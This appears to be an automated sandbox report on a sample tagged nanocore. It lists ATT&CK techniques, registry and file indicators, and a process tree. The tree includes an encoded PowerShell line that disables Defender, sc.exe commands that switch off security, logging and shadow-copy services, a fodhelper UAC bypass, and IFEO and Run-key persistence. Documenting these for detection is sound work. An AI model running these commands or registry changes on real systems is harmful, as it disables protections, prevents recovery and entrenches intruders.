nanocore | 4a5ec9ab4900ac258070b432f04380215362c908fbac90bc3ccbb6331cdd148e

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	xoilactv8.co_nano.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	xoilactv8.co_nano.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1956	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	xoilactv8.co_nano.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	xoilactv8.co_nano.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	xoilactv8.co_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv8.co_nano.exe"	xoilactv8.co_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	xoilactv8.co_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv8.co_nano.exe"	xoilactv8.co_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	xoilactv8.co_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv8.co_nano.exe"	xoilactv8.co_nano.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
3444	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

persistence privilege_escalation

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	xoilactv8.co_nano.exe

Creates a file in the Startup directory 1 TTPs 3 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	xoilactv8.co_nano.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	xoilactv8.co_nano.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	xoilactv8.co_nano.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv8.co_nano.exe"	xoilactv8.co_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv8.co_nano.exe"	xoilactv8.co_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv8.co_nano.exe"	xoilactv8.co_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv8.co_nano.exe"	xoilactv8.co_nano.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

ioc	Process
\??\F:\	powershell.exe

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
2680	net.exe
4180	net1.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4488	tasklist.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\sysupdate.exe	xoilactv8.co_nano.exe
File opened for modification	C:\Windows\system32\kernel32.dll	xoilactv8.co_nano.exe
File opened for modification	C:\Windows\system32\ntdll.dll	xoilactv8.co_nano.exe
File opened for modification	C:\Windows\system32\user32.dll	xoilactv8.co_nano.exe
File created	C:\Windows\system32\svchost.exe	xoilactv8.co_nano.exe
File created	C:\Windows\system32\sysupdate.exe	xoilactv8.co_nano.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
1556	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	xoilactv8.co_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	xoilactv8.co_nano.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 1 IoCs

persistence privilege_escalation

Debugger Evasion

T1622

pid	Process
2604	xoilactv8.co_nano.exe

Launches sc.exe 28 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3868	sc.exe
3824	sc.exe
4304	sc.exe
2528	sc.exe
1172	sc.exe
5028	sc.exe
4828	sc.exe
4128	sc.exe
5024	sc.exe
1520	sc.exe
2472	sc.exe
1548	sc.exe
2936	sc.exe
2128	sc.exe
3716	sc.exe
860	sc.exe
4460	sc.exe
1836	sc.exe
2644	sc.exe
224	sc.exe
1424	sc.exe
3488	sc.exe
3788	sc.exe
4068	sc.exe
4864	sc.exe
4308	sc.exe
4400	sc.exe
4880	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5024	cmd.exe
1604	cmd.exe
3456	cmd.exe
2760	cmd.exe
2504	cmd.exe
4868	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	xoilactv8.co_nano.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	xoilactv8.co_nano.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
5020	netsh.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
4656	ipconfig.exe
1260	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
556	systeminfo.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1160	vssadmin.exe
3944	vssadmin.exe

Modifies Control Panel 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\WallpaperStyle = "2"	xoilactv8.co_nano.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings	xoilactv8.co_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings\shell	xoilactv8.co_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings\shell\open	xoilactv8.co_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv8.co_nano.exe"	xoilactv8.co_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\.pdf\ = "PDFBotnet"	xoilactv8.co_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	xoilactv8.co_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings\shell\open\command	xoilactv8.co_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	xoilactv8.co_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings	xoilactv8.co_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings\shell\open\command\DelegateExecute	xoilactv8.co_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	xoilactv8.co_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv8.co_nano.exe\" \"%1\""	xoilactv8.co_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings\shell\open	xoilactv8.co_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings\shell	xoilactv8.co_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\ms-settings\shell\open\command	xoilactv8.co_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	xoilactv8.co_nano.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1368	schtasks.exe
4088	schtasks.exe
1652	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1956	powershell.exe
1956	powershell.exe
1956	powershell.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe
2604	xoilactv8.co_nano.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2604	xoilactv8.co_nano.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1956	powershell.exe
Token: SeDebugPrivilege	2604	xoilactv8.co_nano.exe
Token: SeIncreaseQuotaPrivilege	5080	WMIC.exe
Token: SeSecurityPrivilege	5080	WMIC.exe
Token: SeTakeOwnershipPrivilege	5080	WMIC.exe
Token: SeLoadDriverPrivilege	5080	WMIC.exe
Token: SeSystemProfilePrivilege	5080	WMIC.exe
Token: SeSystemtimePrivilege	5080	WMIC.exe
Token: SeProfSingleProcessPrivilege	5080	WMIC.exe
Token: SeIncBasePriorityPrivilege	5080	WMIC.exe
Token: SeCreatePagefilePrivilege	5080	WMIC.exe
Token: SeBackupPrivilege	5080	WMIC.exe
Token: SeRestorePrivilege	5080	WMIC.exe
Token: SeShutdownPrivilege	5080	WMIC.exe
Token: SeDebugPrivilege	5080	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5080	WMIC.exe
Token: SeRemoteShutdownPrivilege	5080	WMIC.exe
Token: SeUndockPrivilege	5080	WMIC.exe
Token: SeManageVolumePrivilege	5080	WMIC.exe
Token: 33	5080	WMIC.exe
Token: 34	5080	WMIC.exe
Token: 35	5080	WMIC.exe
Token: 36	5080	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5080	WMIC.exe
Token: SeSecurityPrivilege	5080	WMIC.exe
Token: SeTakeOwnershipPrivilege	5080	WMIC.exe
Token: SeLoadDriverPrivilege	5080	WMIC.exe
Token: SeSystemProfilePrivilege	5080	WMIC.exe
Token: SeSystemtimePrivilege	5080	WMIC.exe
Token: SeProfSingleProcessPrivilege	5080	WMIC.exe
Token: SeIncBasePriorityPrivilege	5080	WMIC.exe
Token: SeCreatePagefilePrivilege	5080	WMIC.exe
Token: SeBackupPrivilege	5080	WMIC.exe
Token: SeRestorePrivilege	5080	WMIC.exe
Token: SeShutdownPrivilege	5080	WMIC.exe
Token: SeDebugPrivilege	5080	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5080	WMIC.exe
Token: SeRemoteShutdownPrivilege	5080	WMIC.exe
Token: SeUndockPrivilege	5080	WMIC.exe
Token: SeManageVolumePrivilege	5080	WMIC.exe
Token: 33	5080	WMIC.exe
Token: 34	5080	WMIC.exe
Token: 35	5080	WMIC.exe
Token: 36	5080	WMIC.exe
Token: SeIncBasePriorityPrivilege	2604	xoilactv8.co_nano.exe
Token: SeDebugPrivilege	4488	tasklist.exe
Token: SeDebugPrivilege	1260	NETSTAT.EXE
Token: SeDebugPrivilege	764	whoami.exe
Token: SeIncreaseQuotaPrivilege	3284	WMIC.exe
Token: SeSecurityPrivilege	3284	WMIC.exe
Token: SeTakeOwnershipPrivilege	3284	WMIC.exe
Token: SeLoadDriverPrivilege	3284	WMIC.exe
Token: SeSystemProfilePrivilege	3284	WMIC.exe
Token: SeSystemtimePrivilege	3284	WMIC.exe
Token: SeProfSingleProcessPrivilege	3284	WMIC.exe
Token: SeIncBasePriorityPrivilege	3284	WMIC.exe
Token: SeCreatePagefilePrivilege	3284	WMIC.exe
Token: SeBackupPrivilege	3284	WMIC.exe
Token: SeRestorePrivilege	3284	WMIC.exe
Token: SeShutdownPrivilege	3284	WMIC.exe
Token: SeDebugPrivilege	3284	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3284	WMIC.exe
Token: SeRemoteShutdownPrivilege	3284	WMIC.exe
Token: SeUndockPrivilege	3284	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2604	xoilactv8.co_nano.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 2604 wrote to memory of 1956	2604	xoilactv8.co_nano.exe	86
PID 2604 wrote to memory of 2128	2604	xoilactv8.co_nano.exe	88
PID 2604 wrote to memory of 4308	2604	xoilactv8.co_nano.exe	151
PID 2604 wrote to memory of 2644	2604	xoilactv8.co_nano.exe	92
PID 2604 wrote to memory of 4400	2604	xoilactv8.co_nano.exe	94
PID 2604 wrote to memory of 5028	2604	xoilactv8.co_nano.exe	96
PID 2604 wrote to memory of 3716	2604	xoilactv8.co_nano.exe	98
PID 2604 wrote to memory of 4880	2604	xoilactv8.co_nano.exe	189
PID 2604 wrote to memory of 4828	2604	xoilactv8.co_nano.exe	192
PID 2604 wrote to memory of 3868	2604	xoilactv8.co_nano.exe	104
PID 2604 wrote to memory of 3824	2604	xoilactv8.co_nano.exe	106
PID 2604 wrote to memory of 4304	2604	xoilactv8.co_nano.exe	108
PID 2604 wrote to memory of 224	2604	xoilactv8.co_nano.exe	110
PID 2604 wrote to memory of 1424	2604	xoilactv8.co_nano.exe	112
PID 2604 wrote to memory of 3488	2604	xoilactv8.co_nano.exe	114
PID 2604 wrote to memory of 860	2604	xoilactv8.co_nano.exe	116
PID 2604 wrote to memory of 4128	2604	xoilactv8.co_nano.exe	118
PID 2604 wrote to memory of 5024	2604	xoilactv8.co_nano.exe	160
PID 2604 wrote to memory of 3788	2604	xoilactv8.co_nano.exe	122
PID 2604 wrote to memory of 2528	2604	xoilactv8.co_nano.exe	124
PID 2604 wrote to memory of 4068	2604	xoilactv8.co_nano.exe	165
PID 2604 wrote to memory of 1172	2604	xoilactv8.co_nano.exe	198
PID 2604 wrote to memory of 4864	2604	xoilactv8.co_nano.exe	130
PID 2604 wrote to memory of 1520	2604	xoilactv8.co_nano.exe	132
PID 2604 wrote to memory of 4460	2604	xoilactv8.co_nano.exe	134
PID 2604 wrote to memory of 4256	2604	xoilactv8.co_nano.exe	136
PID 2604 wrote to memory of 2472	2604	xoilactv8.co_nano.exe	137
PID 2604 wrote to memory of 1548	2604	xoilactv8.co_nano.exe	187
PID 2604 wrote to memory of 3944	2604	xoilactv8.co_nano.exe	141
PID 2604 wrote to memory of 5080	2604	xoilactv8.co_nano.exe	143
PID 2604 wrote to memory of 4088	2604	xoilactv8.co_nano.exe	145
PID 2604 wrote to memory of 1652	2604	xoilactv8.co_nano.exe	147
PID 4256 wrote to memory of 2936	4256	fodhelper.exe	182
PID 2604 wrote to memory of 2504	2604	xoilactv8.co_nano.exe	155
PID 2604 wrote to memory of 2760	2604	xoilactv8.co_nano.exe	157
PID 2604 wrote to memory of 3456	2604	xoilactv8.co_nano.exe	158
PID 2604 wrote to memory of 1604	2604	xoilactv8.co_nano.exe	159
PID 2604 wrote to memory of 5024	2604	xoilactv8.co_nano.exe	160
PID 2604 wrote to memory of 4868	2604	xoilactv8.co_nano.exe	161
PID 2604 wrote to memory of 1368	2604	xoilactv8.co_nano.exe	162
PID 2604 wrote to memory of 1556	2604	xoilactv8.co_nano.exe	168
PID 3456 wrote to memory of 4488	3456	cmd.exe	170
PID 2760 wrote to memory of 556	2760	cmd.exe	171
PID 4868 wrote to memory of 1260	4868	cmd.exe	172
PID 5024 wrote to memory of 4656	5024	cmd.exe	173
PID 1604 wrote to memory of 764	1604	cmd.exe	174
PID 2504 wrote to memory of 1160	2504	cmd.exe	175
PID 2604 wrote to memory of 1712	2604	xoilactv8.co_nano.exe	176
PID 2504 wrote to memory of 3284	2504	cmd.exe	177
PID 2604 wrote to memory of 4704	2604	xoilactv8.co_nano.exe	178
PID 2604 wrote to memory of 3444	2604	xoilactv8.co_nano.exe	179
PID 2604 wrote to memory of 1836	2604	xoilactv8.co_nano.exe	181
PID 2604 wrote to memory of 2936	2604	xoilactv8.co_nano.exe	182
PID 2604 wrote to memory of 3536	2604	xoilactv8.co_nano.exe	184
PID 2604 wrote to memory of 5020	2604	xoilactv8.co_nano.exe	185
PID 4704 wrote to memory of 4880	4704	net.exe	189
PID 2604 wrote to memory of 2680	2604	xoilactv8.co_nano.exe	191
PID 2604 wrote to memory of 668	2604	xoilactv8.co_nano.exe	193
PID 2680 wrote to memory of 4180	2680	net.exe	195
PID 668 wrote to memory of 1372	668	net.exe	196

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\xoilactv8.co_nano.exe
"C:\Users\Admin\AppData\Local\Temp\xoilactv8.co_nano.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1956
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2128
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4308
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:2644
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:4400
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:5028
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:3716
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:4880
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4828
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3868
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:3824
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop bits
  2⤵
  - Launches sc.exe
  PID:4304
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config bits start= disabled
  2⤵
  - Launches sc.exe
  PID:224
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop vss
  2⤵
  - Launches sc.exe
  PID:1424
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config vss start= disabled
  2⤵
  - Launches sc.exe
  PID:3488
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop swprv
  2⤵
  - Launches sc.exe
  PID:860
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config swprv start= disabled
  2⤵
  - Launches sc.exe
  PID:4128
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop EventLog
  2⤵
  - Launches sc.exe
  PID:5024
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config EventLog start= disabled
  2⤵
  - Launches sc.exe
  PID:3788
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SysmonLog
  2⤵
  - Launches sc.exe
  PID:2528
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SysmonLog start= disabled
  2⤵
  - Launches sc.exe
  PID:4068
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop Sysmon
  2⤵
  - Launches sc.exe
  PID:1172
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config Sysmon start= disabled
  2⤵
  - Launches sc.exe
  PID:4864
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop sense
  2⤵
  - Launches sc.exe
  PID:1520
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config sense start= disabled
  2⤵
  - Launches sc.exe
  PID:4460
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4256
